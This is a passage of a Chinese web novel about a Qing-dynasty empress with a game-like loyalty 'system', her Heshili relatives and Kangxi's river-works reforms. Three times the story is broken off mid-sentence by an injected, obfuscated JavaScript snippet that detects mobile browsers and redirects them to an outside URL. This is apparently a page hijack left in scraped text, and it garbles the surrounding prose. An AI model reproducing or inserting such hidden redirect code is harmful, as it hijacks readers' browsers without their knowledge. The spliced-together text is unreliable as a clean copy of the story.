汽轮船是一种以蒸汽为动力驱动的船舶,主要通过蒸汽机将燃料(如煤)燃烧产生的热能转化为机械能,带动螺旋桨或明轮转动,从而推动船只在水面航行。区别于传统依靠风力(帆船)或人力(划桨)的船只,汽轮船首次实现了动力的机械化,不受自然风力限制,航行更稳定、可控。 想了想自家在天津卫的造船厂,说是已经从葡萄牙人手里购置了蒸汽机的早期雏形。这可是好东西,令内务府采买一台回来拆吧拆吧应该能学到不少,最好是早早把效率更高的蒸汽机改良出来。 索尼忽然用茶盖拨了拨浮沫,碗里转出圈涟漪:“西洋人的玩意儿,终究是奇技淫巧。” 康熙却饶有兴致地往前倾身:“让你五弟把月亮山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928189|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的图拿来看,朕倒想瞧瞧。” 他们对船感兴趣不多,还不如对月亮有兴趣。 暖炉里的银丝炭爆出火星,葛布喇忙应声掀帘子出去唤人去后头叫。 珠兰望着父亲通红的耳根,他这招“家长里短”不能说使对了路子,但恰好给了祖父忖度皇帝之意的空间。 索尼若有所思,在家当老太爷时间久了,脑袋转的也有点慢。 康熙不急,扭过头与珠兰说起石榴树与和田玉,又说走时定要从赫舍里家的石榴树分一枝,栽到养心殿去。 珠兰笑,这个季节可分不了枝,她便说要去看看那树,先行告退。 康熙点头应允,索尼起身恭送。 珠兰前脚离家,后脚里面便传来说话声。 这是有话,不好叫我听了。不过没关系,我也有些事不好叫你们知道。 她带着吉雅与禄雅回了趟自己的院子,那里早就打扫的一尘不染,专供皇后归宁休息。祖母、额娘、三婶等女眷,都在此处等待,共叙天伦。 正厅,垂花门外忽然传来规整的脚步声,心裕穿着藏青色厚绸缎袍走进来,发辫梳得一丝不苟,袍角甚至没沾半点雪沫,袖口的褶子都熨帖得像用尺子量过。 “奴才赫舍里心裕,恭请皇上圣安。”他跪地行礼时,额头距地砖三寸,恰好是《大清会典》里规定的文臣标准。 康熙放下茶碗的动作顿了顿,“起来吧,听说你跟着南怀仁神父学了西洋历法?”此子,居然是如此个性。不像索尼,也不像葛布喇。武将家里,出了个规矩大的书生。 心裕叩首起身,神态从容,脸上全然是文人对自家所学的自信,“奴才近日在算徐光启所做的《崇祯历书》,发现西洋人算的木星公转周期,比《大统历》精确三分十二秒。”虽然自称奴才,却没有卑躬屈膝之感。 康熙见他侃侃而谈,模样与经年治学的夫子似的,便晓得他这是研究学问太专注了,有点老学究不通俗礼的架势。 索尼捻着胡须的手忽然停了——这小子前年还在青楼里打马吊,此刻却能随口说出历法数据。就说也是不务正业吧,比走马斗鸡也强。 葛布喇忙打开紫檀木匣,露出一副卷轴,“这是心裕画的《黄道十二宫图》。” “钦天监的周监正前日还说,”康熙用指节敲了敲卷轴中土星的环带,“西洋人的望远镜能看见月亮上的山。” 心裕立刻接口:“奴才用南怀仁神父的伽利略望远镜看过,月面暗斑实为环形山阴影,直径最大者可容直隶一省。” 康熙又问些历法天象知识,甚至是海图之类的,他都能对答如流。 当心裕告退时,步幅大小分毫不差,靴底踩出的雪印连成笔直的线。 康熙望着他消失在垂花门的背影,忽然对葛布喇笑道:“让他年后去钦天监当值,跟西洋人较较真。” 索尼激动得喉结滚动,为心爱的小儿子求个实缺,是他最想做的事。虽说钦天监不是他属意之地,但入朝以后再调派就是了。 珠兰与祖母等人叙话,余光瞄到系统界面上,心裕的学术潜力值正从72飙升至89,那串代表运算的数据流,此刻正幽幽渗入赫舍里氏的血脉。 康熙用指节轻叩着《黄道十二宫图》边缘,羊皮纸在暖炉火光下泛着蜜色。他抬眼望向梁上“鸿禧”匾额,“这匾额还是世祖爷亲题的吧?” 索尼慌忙起身整理衣襟,三眼花翎扫过屏风上的云纹:“世祖爷说,赫舍里氏的福气,全在''忠''字上。” 葛布喇顿了顿,这话他听父亲念叨过千遍,却不知怎么突然说起这个了。 康熙笑了,指尖划过图中代表土星的符号,“心裕倒像这土星环,看着散,心里有章程。” 索尼连着点头,皇上哪里是在说心裕,是在说他们这帮老不死的啊心里想太多,还瞎串联。 “元年黄河决堤时,”康熙端起茶碗却不喝,让热气在眼前织成薄雾,“朕夜里翻奏折,看见索大人的朱批,却是比旁人多了三个''急''字。” 索尼的胡须颤了颤,那夜自己写废了七张奏稿,这是点自己呢。 他踹了葛布喇一脚,葛布喇适时跪下,脑袋发蒙,额头触到冰凉的青砖,只好顺着父亲的话说,“赫舍里氏世代蒙恩,肝脑涂地不足报......” “起来吧。”康熙一把拉起葛布喇,拍了拍他的臂膀,“赫舍里的福气还在后面。” 索尼已经明白今日天子到访的深意,朝中有些老臣暗中勾连,要抵制皇上的策略,自己这把老骨头也该动一动,为陛下尽忠了。赫舍里族人,还是听我的,姻亲故旧都能说上两句,上三旗也有几分薄面,咱定然为主子分忧。 葛布喇全程不在线,索尼与康熙都晓得他直性子,达成一致后便不再打哑谜,转而说起家长里短了。 康熙之所以走这一遭,便是要用索尼的老关系老人脉,疏通分化朝中顽固守旧势力,这事儿刚正的葛布喇做不了。虽然他脾气大,不代表他没脑子。私底下他还是愿意寻个人出来,回旋一些的。 与索尼一番交谈,康熙确定,赫舍里从老到少,还是听朕的。 虽说他不怕正面刚,但他也不是食古不化之人。既然提前知道朝中那几块料要搞事,分化掉就是了。他手里有了钱,就不至于受制于朝臣,这几日不上朝人也平和一些。 珠兰揽着两个幼弟,听他们说话,嘱咐他们好好习武,哥俩言听计从,连连点头。 祖母大佟佳氏啧啧称奇,这俩混世魔星自从到了他们院里由索尼教导,脾气上来连祖父都敢顶两句,偏生索尼还夸他们有乃祖之风。结果,在姐姐面前竟俯首帖耳了。 俩人表现出来非凡的武将天赋,还是智将与勇将都有,索尼听闻后亲自把两个孙子带在身边教导。他们母亲小佟佳氏才算松了口气,不怕葛布喇把儿子带沟里去了。 角房里,寿春等人则与吉雅两个叙旧,主要是吉雅在复述主子的话,寿春在听。 翻云会那边,是寿春与富春两个串着线,捏着资金来源,就是捏着这等秘密结社的命脉。 河工之事,主子要掺和,那就得掺和的正好。 至于怎么掺和,就是考验她们的办事能力了。 珠兰为了省心,给她们都没少加点,武力值之外,她们也不是全没脑子。 她看着系统,索额图的忠诚值也在今日缓慢爬升到了60,自此赫舍里府中便无一人不在系统加点范围中了。 赫舍里,只能听我的。 索额图:是,是,是,这炮筒子我从哪里搞啊。 38. 皇帝发誓 康熙五年正月初三至十五,日子忙碌又不忙碌。 正经工作没多少,多是情绪价值给的足的活动。 乾清宫的宫灯映着群臣贺岁的红笺,御膳房的糯米糍裹着玫瑰糖霜,畅音阁的戏台上《天官赐福》连唱七日。 塔娜养的小黑狗得了诺敏等人的喜爱,三女闲来无事时便组团去永寿宫陪塔娜给小黑狗玩换装游戏。 太后在珠兰到寿康宫请安时,告知她太皇太后的意思是,将端敏习练的功夫在宗室中传下。 太后与端敏都有些不好意思,珠兰一见两人神情,便晓得助力端敏亲密度破60的就该是此事了。若非如此,端敏这样别扭沉默的性子,虽说和太后一样单纯,但却本能的疏远旁人,可不好亲近呢。 这可是喜事一桩,珠兰心里笑嘻嘻,这样的事多来几次才好。 她一口答应下来,半点没有为难的意思。这套功法实际有个缺陷,就是系统是按照她在其他世界的经验结合本世界人的体质编的,所以目前只有女性能修炼到顶级。 而且,系统出品都绑定忠诚或亲密度,对天资属性要求过高,这套功法只有前十八式是一般人可以修行的,修行效果也一般,与五禽戏差不多。至于后面108式,数据不够,则根本无法破解,照葫芦画瓢等于白玩。 太后和端敏见她这般痛快,只以为她是把烦躁苦闷难过都咽了下去,被迫将家中私藏分享出去,都更觉得羞愧了。若是抢不认识的人的东西也就罢了,眼前的可是挚爱亲朋啊,如何不感同身受。 然后,太后的亲密度就突破了90,端敏的亲密度就到了75。 这好事,还真接二连三的来啊。珠兰心里笑烂了,面上还绷着,微笑啊微笑。 太后的亲密到了这个程度,珠兰在她心中的地位超越了皇帝,仅次于太皇太后了。她甚至将珠兰的想法,放在了科尔沁的利益之上。她主动提出,为了弥补赫舍里氏,将自己那份草原商路的份额让珠兰给娘家,以防她日后难做。虽说是皇后,有君臣之分。可女子,哪有真能与娘家切割的。 珠兰娘家的好东西,给她的女儿使,是珠兰对她的情谊。可她逼着珠兰拿出来好东西,分给其他爱新觉罗,她是真过意不去。 珠兰立时便拒了,科尔沁那边有其他布局在,这大蛋糕他们必须全吞下去。为了这个目标,竞争草原商路的晋商那边她都预备打压一二了。最终,就是让科尔沁独霸所有草原线的经济利益,过上独一无二的奢靡生活。 端敏几次开口,不知说些什么才好,她总觉的自己是造成此事的导火索,想要赔给皇后些什么,又想起自己身无长物,黯然神伤。 她的父亲,爱新觉罗济度于顺治十七年去世,德塞承袭了简亲王爵位。这位哥哥身体不好,与她关系一般。 她的生母早已去世,养育她的佟佳氏与继福晋富察氏不和睦。在家中这几年,完全没有在宫中与恭悫妹妹一处玩耍时过的舒心。 可怜恭悫与鳌拜的侄子瓜尔佳讷尔杜定了亲,虽然鳌拜倒台了,可婚事还在。瓜尔佳氏未被全部清算,仍然有统战价值。讷尔杜被革去职务,贬至盛京居住,公主亦前往,在盛京建了公主府,照旧嫁给了他。 去年知晓恭悫低调出嫁,她还第一次主动递牌子入宫,与妹妹抱头痛哭,恨不能以身相待。 但恭悫说,她出嫁是为顾全大局。既然瓜尔佳氏未被全部清算,鳌拜一党仍有遗患。她依照婚约出嫁是稳住八旗人心,表明皇上不再深入追究的意思。 她还是个不到十五岁的孩子,就已经能讲这样的大道理了。端敏不懂她说的,只是为了她们的命运痛苦不已。 而今,皇后何曾不是为了大局,在这里强颜欢笑呢。 大局! 多可笑啊··· 正月十六卯时三刻,太和殿铜鹤香炉腾起的青烟穿透晨雾。 当康熙将靳辅的治河奏疏重重拍在御案上,鎏金龙纹烛台的烛火都晃了晃:“朕意已决,各部须全力配合靳河督疏浚河道、革新漕运,此乃天下大局!” 话音未落,阶下便响起窸窸窣窣的交头接耳,往日串联反对新政的几位勋贵正要出列,却见索尼拄着象牙拐杖缓步上前,三眼花翎扫过,居然万籁俱寂。 这位久未露面的四朝老臣展开泛黄的舆图,苍老嗓音轻颤,“顺治十年黄河决堤,直隶三十县沦为泽国,先帝连夜写下''河清海晏''四字,至今悬于文华殿!” 他的目光扫过几位欲言又止的大臣,袖中滑出的折子上密密麻麻列着漕运舞弊的铁证,就在这大朝上,他参了漕运衙门半数的人。 半个月来索尼拼了老命和老脸登门拜访、设宴周旋的成果在此刻显露——原本抱团讲治河改漕各种不便利的勋贵们或低头观察朝珠,或装作整理补服。 钱皇帝内库出了,一切花销内务府对接河道衙门,户部一点存在感都没有。 找了个兵部郎中出来,连升三级任命河道总督,工部根本占不到便宜。 这个新河道衙门,皇上还让总督自己任命属官,吏部居然插不上手。 搞了半天,这个差事让京中大佬一点好处沾不到,他们不是反对治河与治理漕运,他们是反对不给他们分润。 这事儿,说白了还是皇权与臣权之争。 单纯如初的葛布喇看不明白,天赋异禀的皇帝看明白了。 他不想给这些人分银子,也不想都杀了,这才找了中间人——一样能看明白的索尼出面警告,省得大朝会上让皇帝下不来台,让大臣丢了性命。 唯有遏必隆的党羽硬着头皮进谏,却被葛布喇甩出的账本驳得面红耳赤。 “臣附议!” “臣亦附议!” 赞同声,如潮水漫过丹陛。皇帝给了台阶,就得下啊。 康熙望着阶下叩拜的群臣,当“恭请皇上圣裁”的呼声第三次响彻大殿时,檐角铜铃叮咚作响,惊散了最后一丝反对的阴霾。 调令被重重拍在御案上,鎏金龙纹烛台的火苗猛地一颤:“靳爱卿只管放手去做!河道衙门从二品副将到无品书吏,一概由你点将!” 这话惊得靳辅手中象牙笏板险些滑落,他抬眼望向御座上意气风发的年轻帝王。 康熙眼底迸发的锐意几乎要穿透太和殿的蟠龙藻井:“朕既授靳辅节钺,便要学太祖爷挥鞭定山河的魄力!” 他猛地起身,龙袍扫过满地金砖,“河道衙门上下,朕一概不置喙!靳辅若能治得河清海晏,朕便要让后世子孙都知道——这千古功业,始于君臣相知!”声浪震得檐角铜铃叮咚作响,惊起宫墙外栖息的寒鸦,正如他胸中翻涌的豪情,誓要冲破一切陈规旧制的枷锁。 群臣跪,高呼圣明。 “从副将到书吏,靳辅若敢用,朕便敢认!谁敢在背后掣肘使绊子——”他突然转身攥紧背后宝剑,寒芒出鞘三寸,“朕便将他的项上人头,悬在河工堤坝上!” 鎏金龙纹烛台在劲风里剧烈摇晃,烛火将帝王侧脸的轮廓映得忽明忽暗,宛若阎罗降世。群臣再跪,连声道不敢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933265|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “治河若成,天下格局必将为之大改,靳辅便是本朝的大禹!”皇帝身后金龙吞吐的云纹与龙袍上的织锦浑然一体,“治河若败——”手指重重戳向太和殿穹顶,“朕便陪着靳辅,一同跳进黄河,让浊浪把咱们君臣的骨头,都碾成筑堤的砂砾!” 群臣垂手,闻言大惊,三跪,恳请皇帝收回誓言。 索尼一头磕在地上,觉得场面有点不对。葛布喇满眼都是泪,脸上全是豪情。 “传朕旨意!”龙袍猎猎作响,宛如黑云压城,“自今日起,河道衙门的调令便是朕的调令,靳辅的将令便是朕的将令!哪个不开眼的敢阻拦,朕要他满门抄斩,族谱尽烧!” 这番话震得满朝文武肝胆俱颤,阶下传来此起彼伏的叩首声,比黄河的惊涛更响。 陛下啊陛下,话说的太早也太满了。索尼缓缓抬起头,一声叹息堵住了咽喉。 河道总督靳辅正式走马上任,第一件事就是把自己的河道衙门搭建起来。 因总督衙门治所在山东济宁,他在京中临时办公所得借别的衙门之用。 负责帮他筹备人事的是内阁大学士葛布喇,给他找临时办公地点的也是葛布喇。 为防节外生枝,葛布喇一开始是想在南书房给他开这个衙门。 皇帝没意见,靳辅跪了,他不敢。 葛布喇不想为难他,又往内务府去,请见皇后。 若是皇后在坤宁或养心殿,葛布喇没这么容易见之。 但皇后身上有了前朝职位,见面就容易了。 珠兰一听,要把河道衙门的临时之所放自己这里,当即就同意了。 瞌睡来了枕头啊,内务府的护军可以选一些心性佳、忠诚高的给这新任总督使,历练一番回来就能提拔去六部了。 听说自己在内务府暂时办公,靳辅也想跪,但比之南书房,内务府就内务府吧,用不了一个月,自己就南下了。 令总督自择属吏的圣旨看似是放权,实则将靳辅推至风口浪尖。 河道衙门历来是各方势力争夺的肥缺,勋贵们盯着油水丰厚的管河官职,六部尚书也暗地安插亲信。 靳辅怀揣空白委任状,踏着残雪连夜拜访葛布喇。 曙隅斋的掌柜穆尔哈正与寿春在二楼密谈,两人谈及朝中今日拟定的河道衙门。 穆尔哈说道:“请大姐儿放心,咱们翻云会的可靠人手已经有三成散入靳辅将要去往的治河之地。” 寿春点了点头,对穆尔哈调教人的能力十分信任。 翻云会是怎么来的,她比谁都清楚。虽然不知道主子沾染这般腥臭的江湖作甚,但她只知道跟着主子走就是了。 翻云会三成人手,现在得在近百人了,其中大半是掌柜庄头们收来的流民,给吃给喝给药,养着养着就效忠了。 主子总能分辨忠心的成色,她说可靠,就是可靠。 可靠了就能教她们真功夫,练着练着,既可以外出任务,也可以在内支援。 “还有一件事,咱们需要选些机灵之人送入河道衙门,可以葛大人的名帖作保,推荐进去。”寿春取出一张葛布喇的名帖,递给穆尔哈。 穆尔哈郑重接过,“不知寿春姑娘需要此等人做什么?” “随靳辅南下,将一切阻挠河工之人报我,上至宗室勋贵,下到地方豪绅。” “姑娘的意思是···” “尽杀之!” 格格说了,翻云会出,天下格局必将为之大改。 便从黄河始! 39. 喜怒不定 寒风卷着门廊冰棱,他随着小厮往里走,望着书房内摇曳的灯,深知每一个任命都关乎治河成败与朝堂安稳。 雪粒子敲打着窗,进门时,靳辅捏着空白委任状的指尖已经冻得发白。 葛布喇迎到门口,神情不紧不慢,似乎并不在意这不速之客上门,转而问道可有何事需要自己帮忙。 这位新任河道总督望着案头葛布喇大人正在翻看的《河防刍议》,斟酌再三才开口:“葛大人,这属官任免......”话未说完,便见葛布喇转动翡翠扳指的动作陡然加快,眼神警惕得像护崽的母鹰。 他扫过靳辅递来的名单,目光在“书吏二十员”上黏住——自己总共就三个幕僚,杨先生管钱粮,王师爷掌文书,赵夫子通税赋,哪个都是心肝尖上的宝贝。瞥见窗外影壁上御赐的“河清海晏”匾额,喉咙里像卡了块滚烫的烙铁。 “靳大人莫急!”葛布喇抓起紫砂壶猛灌一口,烫得直吸气。 瞥见对方眼底的失望,又想起太和殿上皇帝拍案震落的龙涎香灰,只得忍痛割爱,将最擅长工程钱粮核算的杨师爷拱手相让。 “杨先生···给你。”葛布喇转着翡翠扳指的手骤然停顿,案头摊开的《河防一览》被穿堂风掀起书页。此书,正是杨期先生所写。 看着靳辅骤然瞪大的眼睛,葛布喇又慌忙补充:“这可是能把算盘珠子拨出花的妙人!”实则心里肉痛得滴血——明远先生不仅能算清漕运账,连西洋人的复式记账法都门儿清,去年正是靠他才识破盐商的诡谲账目。 靳辅盯着对方,再看看只写了“杨期”两个字的委任状。他攥着单薄的文书起身,靴底碾过青砖的声音格外清晰,直到踏出相府门槛,仍不敢相信自己主动上门求贤,葛布喇竟只给了一个幕僚——可当他在雪地里展开这位明远先生的履历,看到“精于水利工程、钱粮核算,曾勘破扬州盐引舞弊案”的批注时,掌心的雪水突然变得滚烫。 俩人都没明白对方的意思,但是都没直说,都猜。 杨期踏入河道衙门那日,靳辅正对着斑驳河图紧锁眉头。 这位身着青衫的三十余岁幕僚,不仅能随口说出万历年间漕船载重量,更在沙盘推演堤坝加固方案时,精准预判到他藏在袖中的备用策略。 靳辅摩挲着空白的道员委任状,这官职在河道衙门举足轻重,往常需科举出身、十年资历的官员才能染指。 “无功名却授要职,难免遭人诟病。”他喃喃自语,忽然瞥见履历尾端葛布喇的钤印,朱红印记在宣纸上晕染开,恍若太和殿上皇帝大笔一挥溅落的朱砂。 “宰相门前三品官。”靳辅突然轻笑出声,忆起葛布喇送客时欲言又止的神情,终于在“正四品”三字上重重落笔,这还委屈了呢。 杨期:我这就四品了?我好像一开始不是这个想法来着···我是要干什么来着··· 赫舍里不接橄榄枝,其他重臣处,他不敢去的。 罢了,他铺开空白属官名册,毛笔尖悬在半空良久,终于落下如椽大笔——半数文职空缺上,渐渐填满与他同修《河防述言》的旧友、钻研西洋水利的能人、有志一同治河的同道。 然而当笔尖触及“河标武官”一栏,墨汁却在宣纸上洇出团状乌云。 内务府临时值房铜火盆噼啪作响,靳辅对着六十余张空白武官委任状枯坐整夜。 副将、参将、游击等职司在眼前盘旋,每一个名字都可能掀起朝堂惊涛。兵权,岂可由他染指。就算他在兵部干主事,那也不兴他自己做主啊。 冷汗顺着脊背滑入官服,“河工命脉系于武备,一步踏错,便是万劫不复。”他攥紧名册,指节泛白如骨,最终在黎明时分,再次踏入葛布喇大人府邸的门槛。 靳辅踩着咯吱作响的积雪再进相府时,葛布喇正对着钦天监新呈的《日月交食推算疏》长吁短叹。 案头碎瓷片尚未清扫干净,那是索尼盛怒之下砸的——为了在钦天监当值的五弟,非让他给调换地方。 “心裕···”葛布喇挠着头皮,翡翠扳指在掌心转得飞快,他才刚上班几天啊,就要换地方,这不好啊。 想起五弟整日捧着西洋望远镜观测星象,连请安时都在念叨什么“黄道坐标”,再看看靳辅递来的河标武官空缺名册,目光突然定在“测绘”二字上。 檐角冰棱坠落的脆响中,他猛地一拍大腿:“有了!这小子画得一手好舆图,去年还把咱老家的庄园分布,用经纬线标得清清楚楚!” 他快步走到紫檀书柜前,抽出一卷泛黄的《山川图》哗啦展开。虽然阿玛说他不务正业,但葛布喇知道五弟有真本事的。 图上山脉河流蜿蜒如活物,连林间小道都标注得分毫不差,右下角“赫舍里心裕谨绘”落款。 “让他去河道衙门测绘堤岸!”葛布喇将图纸塞给靳辅,仿佛甩掉个烫手山芋,阿玛总嫌五弟不务正业,这下既能离了钦天监的,又能给皇上分忧!虽说五弟以后有阿玛的爵位能继承,可总得有点自己的功绩在身,才稳妥。皇上会重用所有有本事的人,无论是什么本事,皇上都看得到。葛布喇谜一般的自信,皇帝就是个明君。 靳辅展开图纸,寒风吹得烛光猛地一暗。他望着图中精细入微的等高线标注,指尖轻轻抚过图上蜿蜒的浑河河道,那些用不同颜色标注的等高线如同活物般在眼前跃动,竟比他见过的任何河防图都要精细三分。 案头摊开的《河防一览》被穿堂风掀起,露出夹在其中的黄河汛情急报,去年决堤的三十七个险段用朱砂圈得触目惊心。葛大人是重视河道的,亲弟弟给派到他的队伍里,这就是最大的支持!他误会了,误会了··· 难怪皇上指引我寻葛大人相助,葛大人信人也!既不干涉我安排自己的人手,又给我送来护身符! “用钦天监的人治河?”他喃喃自语,将图纸凑近烛火。这护身符也许还真有实际作用,不是个单纯吉祥物。月光透过窗棂斜斜洒入,在图上投下斑驳的光影,恍惚间竟化作黄河奔涌的浪涛。 突然想起黄河九曲十八弯的险滩,那些连老河工都摸不清的暗流漩涡,或许真能被这双能够观测星象的眼睛勘破。若将此等测绘之术用在黄河堤坝...... 靳辅握紧腰间的犀角算筹,冰凉的触感让他渐渐冷静下来——心裕虽无治河经验,但其观测星象的精准、绘制舆图的缜密,或许正是利刃。只是,不知此人性格如何。想来甘心入钦天监,该是好相处吧…… 窗外雪粒子打在窗棂上沙沙作响,恰似河道总督此刻纷乱又期待的心跳。 “只是,我五弟该走文官路子,八品主簿外放升半格,来河道再提一格,文官从六品已满,就……屈就个正七品把总吧!” 靳辅……您老说几品,来着? 晨光刺破薄雾,心裕抱着堪舆罗盘立在河道衙门前,新悬的“河标”匾额在风中微微晃动。 三日后 靳辅觉得葛布喇大人已经暗示的很明显了,他将武官欠缺之事汇报至皇帝处。皇帝令从上三旗侍卫备选和内务府护军中各抽取三十人,帮河道衙门搭起河标骨干。 珠兰:对,从内务府抽人,都是我的人。安插进河道衙门去的人越多,意味着未来贡献越大,自己能从中获取的能量也越多。 河道衙门临时议事厅内,檀木沙盘上蜿蜒着黄河九曲十八弯的微缩河道,染着赭石颜料的木屑模拟奔涌的泥沙。 靳辅的手指死死按在坍陷的护堤模型处,指甲几乎要掐进桐油浸泡的木板。案头烛火摇曳,将他紧锁的眉峰投影在沙盘岩壁上,恍若一道割裂天际的深壑。 急促的脚步声由远及近,心裕撞开雕花槅门,怀里的羊皮舆图散落几片,黄铜六分仪在腰间叮当作响。玄色长袍下摆浸透汗渍,发辫松散地垂在肩头,却掩不住眼中灼人的光亮:“靳大人!我连夜重算了开封段的曲率!”他扑到沙盘前,袖口扫落半座堤坝模型,“您看这河道走势——” “够了!”靳辅突然拍案,震得沙盘上的“浊浪”簌簌滚落,“你那些西洋算法,在决口的洪水里就是废纸!去年汛期,三十个老河工用罗盘测的水位,可比你纸上画的准!”他抓起根竹制标尺狠狠戳进“河床”,木屑纷飞间,标尺却歪斜着倒向一边。 心裕盯着那根摇摇欲坠的标尺,忽然笑出声来。他跪坐在狼藉的沙盘前,从袖中摸出枚铜质圆规,在地图上划出完美的弧线:“老法子就像蒙眼量路,差之毫厘谬以千里。”圆规针尖扎入“险滩”位置,“但三角测量法能让每一寸河道都现形,就像用望远镜看清月亮上的环形山!”烛火突然暴涨,将他映得如同一尊跃动的青铜像。 “罗盘认的是死河道,可水流年年都在变!”心裕突然掀翻半面沙盘,露出底下用铁丝缠绕的暗礁模型,“就像观测木星公转,肉眼看它静止不动,可六分仪一测——”他抓起望远镜对准墙上映出的烛影,“每分每秒都在走!” 靳辅望着心裕瞳孔里跳动的烛火,忽然想起三日前在钦天监见到的浑天仪,那些铜铸的星轨环环相扣,竟与眼前这少年划出的三角线惊人相似。当心裕的圆规针尖扎进虎狼滩位置时,沙盘边缘的木屑突然簌簌滚落,恰似千里之外黄河堤岸正在剥落的夯土。 晚上,靳辅回家。门房递上了一张帖子,他本要让小厮拿去烧了。这些日子勋贵帖子多了,他一张也不看。 可小厮却欲言又止,最终言道:“这是葛大人的帖子。” 靳辅……您老人家这是几个意思啊? 乾清宫的鎏金珐琅香炉正煨着龙涎香,康熙将羊脂玉镇纸在掌心碾得发烫,听着珠兰用银簪挑开烛花的轻响。 案头靳辅的折子摊着,朱批“知道了”三字。 “你阿玛倒好,”康熙突然笑出声,指节敲着折子里“仅赠幕僚一员”的字眼,“靳辅两进相府,他倒像护着金镶玉似的,就给了个算钱粮的。” 珠兰正将刚切好的果子推到他面前,闻言噗嗤笑出声,袖口的珍珠璎珞扫过碗沿,“此刻啊,阿玛定是在盘算盘,算珠都快拨出火星子,定是心疼没了那杨先生能帮他核盐引账。”身为大学士,葛布喇把自己当算账的管家更多一点。谁让咱们皇上,缺钱呢。 杨期,好筹谋,一个反贼都混到当朝葛相身边当幕僚了。皇帝的探子在家里看着,硬着没发现这么大一个反清之人。 只是葛布喇惜才,杨期真有才干,他就给推荐出去了。 珠兰都没闹明白,这杨期混到葛布喇身边是想干什么。 他一个反贼,手无缚鸡之力肯定打不过葛布喇,不能是去行刺的。 打入了葛氏幕僚,还帮着整理了不少账目资料,真心实意给葛布喇出了很多主意,都是正经能用的,这也不像来捣乱的。 葛布喇也是真尊重杨先生,不仅给人家家乡重新修了宅子,那是直接养了人家一族,把产业都给安顿好了,还把杨先生老爹妈和妻子都接到京城,买了间三进的院子给住着。 杨期说南城苦啊,葛布喇就压着地方上给南城做市政工程。杨期说南城穷啊,葛布喇就找管家,让赫舍里家的产业去招工。 杨期······ 珠兰也觉得,杨期一开始大概率进相府有点目的,后来可能有哪里是没想通,就给葛布喇当开幕僚了。 毕竟他虽然供职多个秘密结社,那里的老大肯定是没有葛布喇真诚的。 反正看数值,他还是个正经忠诚为负数的反贼。但是,他和葛布喇的亲密度超越了60。 葛布喇,也是有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938885|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魅力光环在身上的。尤其是这种心思重的人,都喜欢和他相处。 他到现在都没感觉到满朝文武对赫舍里的排斥,一点危机感都没有,大约就是因为同为大学士的这些人,对他的亲密度都挺高吧。 康熙这边不晓得珠兰的想法已经跑了十万里了,他还在暗叹,多少双盯着河道肥缺的眼睛,叫挡了回去。葛布喇的直愣像柄双刃剑,劈开了结党营私的暗网,却也让靳辅难以攀上赫舍里这棵大树。 指腹划过“赫舍里心裕”的名字时,他盯着奏疏里“授正七品把总”的朱批,忽然轻笑出声。 葛布喇那性子,就像没打磨过的方孔铜钱,直愣愣地把心裕从钦天监的星图里拽出来,塞进河道衙门的泥沙堆。一开始给个八品主簿就够让人惊讶,换了衙门才给个七品把总。这直来直去的做派,倒真像他闺女珠兰说的“一家子都是一根肠子通到底”。 他就知道以葛布喇的直爽脾气,理解不了靳辅的圆滑心思。 珠兰手下掌柜的骚操作,皇帝并没有渠道知晓。毕竟靳辅守规矩,他此刻,还没派粘杆处的人去靳辅家里日夜盯着。实话是,要不是看系统,她也没想到掌柜的做生意都做去河道衙门了,送几十个文书账房□□,这都不像话了。 笑声未落,康熙已将镇纸重重按在奏疏上。 珠兰看向他,怎么了这是,喜怒不定的这是,这可是你自己笑的,不是我笑的,你大姨夫来了?要不要喝点热水? 这满朝文武,如今像缺了轴里的润滑油。案头索尼前日递来的病假折子还摊着,朱批"安心调养"四字。老人前日咳血,起身都得让人扶着。劳累了一个年节,是得休息。 康熙抓起案头的《百官录》哗啦翻开,葛布喇的名字旁标着"性刚直,善治军",佟国纲名下注着"勇而少谋",佟国维那页更干脆——"铁骑斩将可也,折冲樽俎难"。 他的指尖在书页上划出沙沙声响,最终停在空白的调和臣工栏,烛火恰在此时爆出灯花,将那片空白照得忽明忽暗。 君臣之间少了调和,就多了冲突。臣工不理解朕的意思,便会走错路。 朕不可自己提溜着他们耳朵,剖析自己的心事。 便需要一个人,会猜的,能说的…… “你说......”康熙忽然抬眼,目光落在珠兰鬓边的簪上,“若让你在中间传话,能把朝臣的歪心思都导正么?” 珠兰正将一碟蜜渍金桔推过去的手猛地顿住,眨了眨眼,“我只会说''皇上让您照办''呀。”怎么滴,小清新不好玩了,想玩点别的了? 铜鹤香炉里的香灰突然簌簌落下,康熙望着皇后澄澈的眼睛,忽然想起葛布喇在兵部大吵的模样,一点都不圆滑。 